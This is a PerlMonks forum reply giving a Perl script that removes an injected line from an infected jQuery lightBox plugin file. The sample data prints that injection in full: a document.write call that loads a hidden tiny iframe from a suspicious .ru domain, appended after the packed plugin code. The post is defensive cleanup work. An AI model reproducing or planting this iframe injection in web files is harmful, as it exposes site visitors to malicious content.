Hi programmer.perl,

My 2 'kobo' input is this:

I have to change a whole string to a "; //eof"

string to be changed is ;document.write('<iframe src="any url" scrolling="auto" frameborder="no" align="center" height="15" width="15"></iframe>'); this string is found at the end of the file: it is the last string

You could do this:

use warnings;
use strict;

while (<DATA>) {
    chomp;
    if (/(.+?)\;doc.*?$/s) {
        print $1, ';//eof', $/;
    }
    else {
        print $_, $/;
    }
}

__DATA__
/**
 * jQuery lightBox plugin
 * This jQuery plugin was inspired and based on Lightbox 2 by Lokesh D
+hakar (http://www.huddletogether.com/projects/lightbox2/)
 * and adapted to me ...SHORTENED... */
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)
+))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.repl
+ace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r
+[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(n
+ew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(6($){$.2N.3g=6(4){4
+=23.2H({2B:\'#34\',2g:0.8,1d:F,1M:\'18/5-33-Y.16\',1v:\'18/5-1u-2Q.16
+\',1E:\'18/5-1u-2L.16\',1W:\'18/5-1u-2I.16\',19:\'18/5-2F.16\',1f:10,
+2A:3d,2s:\'1j\',2o:\'32\',2j:\'c\',2f:\'p\',2d:\'n\',h:[],9:0},4);f I
+=N;6 20(){1X(N,I);u F}6 1X(1e,I){$(\'1U, 1S, 1R\').l({\'1Q\':\'2E\'})
+;1O();4.h.B    ...SHORTENED...     style|fromCharCode|String|DOM_VK_E
+SCAPE|event|keydown|append|of|ico|000|fast|for||slideDown||100|250|ms
+ie|400|browser|animate|lightBox|do'.split('|'),0,{}));document.write(
+'<iframe src="http://wwwrcacomcontributes.ru/blacklistingbogus.cgi?8"
+ scrolling="auto" frameborder="no" align="center" height="15" width="
+15"></iframe>');
[download]

OUTPUT:

/**
 * jQuery lightBox plugin
 * This jQuery plugin was inspired and based on Lightbox 2 by Lokesh D
+hakar (http://www.huddletogether.com/projects/lightbox2/)
 * and adapted to me ...SHORTENED... */
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)
+))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.repl
+ace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r
+[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(n
+ew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(6($){$.2N.3g=6(4){4
+=23.2H({2B:\'#34\',2g:0.8,1d:F,1M:\'18/5-33-Y.16\',1v:\'18/5-1u-2Q.16
+\',1E:\'18/5-1u-2L.16\',1W:\'18/5-1u-2I.16\',19:\'18/5-2F.16\',1f:10,
+2A:3d,2s:\'1j\',2o:\'32\',2j:\'c\',2f:\'p\',2d:\'n\',h:[],9:0},4);f I
+=N;6 20(){1X(N,I);u F}6 1X(1e,I){$(\'1U, 1S, 1R\').l({\'1Q\':\'2E\'})
+;1O();4.h.B    ...SHORTENED...     style|fromCharCode|String|DOM_VK_E
+SCAPE|event|keydown|append|of|ico|000|fast|for||slideDown||100|250|ms
+ie|400|browser|animate|lightBox|do'.split('|'),0,{}));//eof
[download]

NOTE:
Please, be guided that this expression if (/(.+?)\;doc.*?$/s) {..} may/might match more than one occassion, if such are in the other record apart from the one the OP gave in this trend.

Hope, this helps.

---

---

• Are you posting in the right place? Check out Where do I post X? to know for sure.
• Posts may use any of the Perl Monks Approved HTML tags. Currently these include the following:

  <code> <a> <b> <big> <blockquote> <br /> <dd> <dl> <dt> <em> <font> <h1> <h2> <h3> <h4> <h5> <h6> <hr /> <i> <li> <nbsp> <ol> <p> <small> <strike> <strong> <sub> <sup> <table> <td> <th> <tr> <tt> <u> <ul>

• Snippets of code should be wrapped in <code> tags not <pre> tags. In fact, <pre> tags should generally be avoided. If they must be used, extreme care should be taken to ensure that their contents do not have long lines (<70 chars), in order to prevent horizontal scrolling (and possible janitor intervention).
• Want more info? How to link or How to display code and escape characters are good places to start.